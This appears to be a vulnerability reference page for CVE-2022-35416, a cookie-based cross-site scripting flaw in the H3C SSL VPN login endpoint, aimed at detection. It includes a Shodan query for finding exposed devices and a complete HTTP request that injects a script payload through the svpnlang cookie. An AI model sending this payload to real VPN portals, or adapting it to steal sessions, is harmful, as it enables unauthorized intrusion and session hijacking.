🔙 목록으로 돌아가기

CVE-2022-35416: H3C SSL VPN <=2022-07-10 - Cross-Site Scripting

TitleH3C SSL VPN <=2022-07-10 - Cross-Site Scripting
Author0x240x23elu
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the victim's browser, potentially leading to session hijacking, data theft, or other malicious activities.
RemediationApply the latest security patch or upgrade to a version of H3C SSL VPN that is not affected by this vulnerability.
CVSS Score6.1
EPSS Score0.06779
CVE IDCVE-2022-35416
CWE IDCWE-79
Shodan Queryhttp.html_hash:510586239
Tags cve cve2022 xss vpn h3c vuln

🔍 Vulnerability Description

H3C SSL VPN 2022-07-10 and prior contains a cookie-based cross-site scripting vulnerability in wnm/login/login.json svpnlang.

🌐 HTTP Request

GET /wnm/login/login.json HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:104.0) Gecko/20100101 Firefox/104.0
Connection: close
Cookie: svpnlang=<script>alert('document.domain')</script>
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-35416.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-35416.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A